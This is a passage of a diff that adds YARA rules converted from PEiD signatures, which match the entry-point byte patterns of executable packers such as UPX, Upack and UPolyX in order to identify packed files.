+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 10 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B}
+    condition:
+        $a
+}
+
+rule PEiD_02396_Upack_V0_3X____Dwing_
+{
+    meta:
+        description = "[Upack V0.3X -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 5E 87 0E}
+    condition:
+        $a
+}
+rule PEiD_02397_Upack_Patch____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack_Patch -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {81 3A 00 00 00 02 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02398_Upack_Patch____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack_Patch -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {2A A3 F2 54 CE}
+    condition:
+        $a
+}
+
+rule PEiD_02399_Upack_Patch_or_any_Version____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack_Patch or any Version -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02}
+    condition:
+        $a
+}
+rule PEiD_02400_Upack_Unknown__DLL_________Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack_Unknown (DLL ???) -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 17 CD 00 00 E9 06 02}
+    condition:
+        $a
+}
+
+rule PEiD_02401_UPolyX_0_x____Delikon_
+{
+    meta:
+        description = "[UPolyX 0.x -> Delikon]"
+        ep_only = "true"
+    strings:
+        $a = {81 FD 00 FB FF FF 83 D1 ?? 8D 14 2F 83 FD FC 76 ?? 8A 02 42 88 07 47 49 75}
+    condition:
+        $a
+}
+/*
+rule PEiD_02402_UPolyX_V0_1____Delikon_
+{
+    meta:
+        description = "[UPolyX V0.1 -> Delikon]"
+        ep_only = "false"
+    strings:
+        $a = {E2 ?? FF ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_02403_UPolyX_v0_5_
+{
+    meta:
+        description = "[UPolyX v0.5]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 04 89 ?? 24 59 ?? ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02404_UPolyX_v0_5_
+{
+    meta:
+        description = "[UPolyX v0.5]"
+        ep_only = "false"
+    strings:
+        $a = {BB 00 BD 46 00 83 EC 04 89 1C 24 ?? B9 ?? 00 00 00 80 33 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02405_UPolyX_v0_5_
+{
+    meta:
+        description = "[UPolyX v0.5]"
+        ep_only = "false"
+    strings:
+        $a = {BB 00 BD 46 00 83 EC 04 89 1C 24 ?? B9 ?? 00 00 00 80 33 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02406_UPX___ECLiPSE_layer_
+{
+    meta:
+        description = "[UPX + ECLiPSE layer]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 D2 EB 01 0F 56 EB 01 0F E8 03 00 00 00 EB 01 0F EB 01 0F 5E EB 01}
+    condition:
+        $a
+}
+rule PEiD_02407_UPX____www_upx_sourceforge_net_
+{
+    meta:
+        description = "[UPX -> www.upx.sourceforge.net]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE ?? ?0 4? 00 8D BE ?? ?? F? FF}
+    condition:
+        $a
+}
+
+rule PEiD_02408_UPX____www_upx_sourceforge_net_
+{
+    meta:
+        description = "[UPX -> www.upx.sourceforge.net]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE ?? ?? ?? 00 8D BE ?? ?? ?? FF}
+    condition:
+        $a
+}
+
+rule PEiD_02409_UPX_0_50___0_70_
+{
+    meta:
+        description = "[UPX 0.50 - 0.70]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D}
+    condition:
+        $a
+}
+
+rule PEiD_02410_UPX_0_72_
+{
+    meta:
+        description = "[UPX 0.72]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 83 CD FF 31 DB 5E}
+    condition:
+        $a
+}
+rule PEiD_02411_UPX_2_00_3_0X____Markus_Oberhumer___Laszlo_Molnar___John_Reiser_
+{
+    meta:
+        description = "[UPX 2.00-3.0X -> Markus Oberhumer & Laszlo Molnar & John Reiser]"
+        ep_only = "false"
+    strings:
+        $a = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02412_UPX_2_00_3_0X____Markus_Oberhumer__amp__Laszlo_Molnar__amp__John_Reiser_
+{
+    meta:
+        description = "[UPX 2.00-3.0X -> Markus Oberhumer &amp; Laszlo Molnar &amp; John Reiser]"
+        ep_only = "false"
+    strings:
+        $a = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF ?? ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 57 48 F2 AE 55 FF ?? ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB E1 FF ?? ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? ?? ?? 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+    condition:
+        $a
+}
+rule PEiD_02413_UPX_2_90__LZMA__
+{
+    meta:
+        description = "[UPX 2.90 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_02414_UPX_2_90__LZMA__
+{
+    meta:
+        description = "[UPX 2.90 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+    condition:
+        $a
+}
+
+rule PEiD_02415_UPX_2_90__LZMA__
+{
+    meta:
+        description = "[UPX 2.90 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04}
+    condition:
+        $a
+}
+rule PEiD_02416_UPX_2_93__LZMA__
+{
+    meta:
+        description = "[UPX 2.93 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 03 00 02 00 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_02417_UPX_3_02_
+{
+    meta:
+        description = "[UPX 3.02]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C}
+    condition:
+        $a
+}
+
+rule PEiD_02418_UPX__com_
+{
+    meta:
+        description = "[UPX [com]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BE ?? ?? BF C0 FF FD}
+    condition:
+        $a
+}
+
+rule PEiD_02419_UPX_Alternative_stub_
+{
+    meta:
+        description = "[UPX Alternative stub]"
+        ep_only = "true"
+    strings:
+        $a = {01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 00 00 00 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B}
+    condition:
+        $a
+}
+
+rule PEiD_02420_UPX_Inliner_1_0_by_GPcH_
+{
+    meta:
+        description = "[UPX Inliner 1.0 by GPcH]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01}
+    condition:
+        $a
+}
+
+rule PEiD_02421_UPX_Inliner_v1_0_by_GPcH_
+{
+    meta:
+        description = "[UPX Inliner v1.0 by GPcH]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 05 FF FF FF 85 C0 0F 84 06 03 00 00 89 85 C5 FE FF FF E8 00 00 00 00 5B B9 31 89 40 00 81 E9 2E 86 40 00 03 D9 50 53 E8 3D 02 00 00 61 03 BD A9 FE FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 09 FF FF FF FF B5 05 FF FF FF 56 57 FF 95 C5 FE FF FF 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB CE 68 00 80 00 00 6A 00 FF B5 C5 FE FF FF FF 95 09 FF FF FF 8D}
+    condition:
+        $a
+}
+
+rule PEiD_02422_UPX_Modified_Stub_b____Farb_rausch_Consumer_Consulting_
+{
+    meta:
+        description = "[UPX Modified Stub b -> Farb-rausch Consumer Consulting]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC}
+    condition:
+        $a
+}
+
+rule PEiD_02423_UPX_Modified_Stub_b____Farb_rausch_Consumer_Consulting_
+{
+    meta:
+        description = "[UPX Modified Stub b -> Farb-rausch Consumer Consulting]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 C0 31 DB 31 C9 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 89 D8 E2 D9 8D BE ?? ?? ?? ?? 8B 07 09 C0 74 45 8B 5F 04 8D 84 30 ?? ?? ?? ?? 01 F3 50 83 C7 08 FF 96 ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 ?? ?? ?? ?? 61 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02424_UPX_Modified_Stub_c____Farb_rausch_Consumer_Consulting_
+{
+    meta:
+        description = "[UPX Modified Stub c -> Farb-rausch Consumer Consulting]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48}
+    condition:
+        $a
+}
+
+rule PEiD_02425_UPX_Modified_Stub_c____Farb_rausch_Consumer_Consulting_
+{
+    meta:
+        description = "[UPX Modified Stub c -> Farb-rausch Consumer Consulting]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2A 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 56 89 FE 29 C6 F3 A4 5E EB 9F 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 FF D3 11 C9 FF D3 72 F8 C3 31 C0 31 DB 31 C9 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F 0E 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 89 D8 E2 D9 8D BE ?? ?? ?? ?? 8B 07 09 C0 74 45 8B 5F 04 8D 84 30 ?? ?? ?? ?? 01 F3 50 83 C7 08 FF 96 ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 ?? ?? ?? ?? 61 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02426_UPX_Modified_stub_
+{
+    meta:
+        description = "[UPX Modified stub]"
+        ep_only = "true"
+    strings:
+        $a = {79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 84 ?? 00 00 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 88 ?? 00 00 61 E9 ?? ?? ?? FF}
+    condition:
+        $a
+}
+
+rule PEiD_02427_UPX_Modifier_v0_1x_
+{
+    meta:
+        description = "[UPX Modifier v0.1x]"
+        ep_only = "true"
+    strings:
+        $a = {50 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+    condition:
+        $a
+}
+
+rule PEiD_02428_UPX_Protector_v1_0x__2__
+{
+    meta:
+        description = "[UPX Protector v1.0x (2)]"
+        ep_only = "false"
+    strings:
+        $a = {EB ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB}
+    condition:
+        $a
+}
+
+rule PEiD_02429_UPX_Protector_v1_0x_
+{
+    meta:
+        description = "[UPX Protector v1.0x]"
+        ep_only = "true"
+    strings:
+        $a = {EB EC ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+    condition:
+        $a
+}
+
+rule PEiD_02430_UPX_v0_51_
+{
+    meta:
+        description = "[UPX v0.51]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 D8 01 ?? ?? 83 CD FF 31 DB ?? ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 0B 8A 06 46 88 07 47 EB EB 90}
+    condition:
+        $a
+}
+rule PEiD_02431_UPX_v0_60___v0_61_
+{
+    meta:
+        description = "[UPX v0.60 - v0.61]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02432_UPX_v0_62__DLL_
+{
+    meta:
+        description = "[UPX v0.62 [DLL]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 58}
+    condition:
+        $a
+}
+
+rule PEiD_02433_UPX_v0_62_
+{
+    meta:
+        description = "[UPX v0.62]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 F0 01 ?? ?? 83 CD FF 31 DB 90 90 90 EB 08 90 90 8A 06 46 88 07 47 01 DB 75 07}
+    condition:
+        $a
+}
+rule PEiD_02434_UPX_v0_62_
+{
+    meta:
+        description = "[UPX v0.62]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 31 DB ?? ?? ?? EB}
+    condition:
+        $a
+}
+rule PEiD_02435_UPX_v0_70_
+{
+    meta:
+        description = "[UPX v0.70]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 EC 01 ?? ?? 83 CD FF 31 DB EB 07 90 8A 06 46 88 07 47 01 DB 75 07}
+    condition:
+        $a
+}
+
+rule PEiD_02436_UPX_v0_70_
+{
+    meta:
+        description = "[UPX v0.70]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 83 ?? ?? 31 DB EB}
+    condition:
+        $a
+}
+
+rule PEiD_02437_UPX_v0_70_
+{
+    meta:
+        description = "[UPX v0.70]"
+        ep_only = "true"
+    strings:
+        $a = {8C CB B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8D ?? ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC 2E ?? ?? ?? ?? 73}
+    condition:
+        $a
+}
+rule PEiD_02438_UPX_v0_71___v0_72_
+{
+    meta:
+        description = "[UPX v0.71 - v0.72]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 83 CD FF 31 DB 5E 8D BE FA ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 81 C6 B3 01 ?? ?? EB 0A ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+    condition:
+        $a
+}
+
+rule PEiD_02439_UPX_v0_71__DLL_
+{
+    meta:
+        description = "[UPX v0.71 [DLL]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 83}
+    condition:
+        $a
+}
+
+rule PEiD_02440_UPX_v0_72_
+{
+    meta:
+        description = "[UPX v0.72]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 83 ?? ?? 31 DB 5E 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_02441_UPX_v0_76_1__dos_exe_
+{
+    meta:
+        description = "[UPX v0.76.1 [dos exe]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8C C8 05 ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC}
+    condition:
+        $a
+}
+
+rule PEiD_02442_UPX_v0_76_1__pe_exe_
+{
+    meta:
+        description = "[UPX v0.76.1 [pe exe]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 57 83 ?? ?? 31 DB EB}
+    condition:
+        $a
+}
+
+rule PEiD_02443_UPX_v0_81___v0_84_Modified_
+{
+    meta:
+        description = "[UPX v0.81 - v0.84 Modified]"
+        ep_only = "true"
+    strings:
+        $a = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF}
+    condition:
+        $a
+}
+
+rule PEiD_02444_UPX_v0_89_6___v1_02___v1_05___v1_22_DLL_
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 - v1.22 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+    condition:
+        $a
+}
+
+rule PEiD_02445_UPX_v0_89_6___v1_02___v1_05___v1_22_Modified_
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 - v1.22 Modified]"
+        ep_only = "true"
+    strings:
+        $a = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75}
+    condition:
+        $a
+}
+
+rule PEiD_02446_UPX_v0_89_6___v1_02___v1_05___v1_22_
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 - v1.22]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+    condition:
+        $a
+}
+rule PEiD_02447_UPX_v0_89_6___v1_02___v1_05__v1_22__Delphi__stub_
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF EB 0E ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B}
+    condition:
+        $a
+}
+
+rule PEiD_02448_UPX_v0_89_6___v1_02___v1_05__v1_24____Markus___Laszlo__overlay__
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 -v1.24 -> Markus & Laszlo [overlay]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 EB 0B 90 8A 06 46 88 07 47 01 DB 75 ?? 8B 1E 83 ?? ?? 11 DB 72 ?? B8 01 00 00 00 01 DB 75}
+    condition:
+        $a
+}
+
+rule PEiD_02449_UPX_v1_03___v1_04_Modified_
+{
+    meta:
+        description = "[UPX v1.03 - v1.04 Modified]"
+        ep_only = "true"
+    strings:
+        $a = {01 DB ?? 07 8B 1E 83 EE FC 11 DB 8A 07 ?? EB B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF}
+    condition:
+        $a
+}
+
+rule PEiD_02450_Upx_v1_2____Marcus___Lazlo_
+{
+    meta:
+        description = "[Upx v1.2 -> Marcus & Lazlo]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 05 A4 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 F2 31 C0 40 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 E6 31 C9 83}
+    condition:
+        $a
+}
+
+rule PEiD_02451_UPX_V1_94____Markus_Oberhumer__amp__Laszlo_Molnar__amp__John_Reiser_
+{
+    meta:
+        description = "[UPX V1.94 -> Markus Oberhumer &amp; Laszlo Molnar &amp; John Reiser]"
+        ep_only = "false"
+    strings:
+        $a = {FF D5 80 A7 ?? ?? ?? ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02452_UPX_v2_0____Markus__Laszlo___Reiser__h__
+{
+    meta:
+        description = "[UPX v2.0 -> Markus, Laszlo & Reiser (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80}
+    condition:
+        $a
+}
+
+rule PEiD_02453_UPX_v2_0____Markus__Laszlo___Reiser__h__
+{
+    meta:
+        description = "[UPX v2.0 -> Markus, Laszlo & Reiser (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02454_UPX_V2_00_V2_90____Markus_Oberhumer__amp__Laszlo_Molnar__amp__John_Reiser_
+{
+    meta:
+        description = "[UPX V2.00-V2.90 -> Markus Oberhumer &amp; Laszlo Molnar &amp; John Reiser]"
+        ep_only = "false"
+    strings:
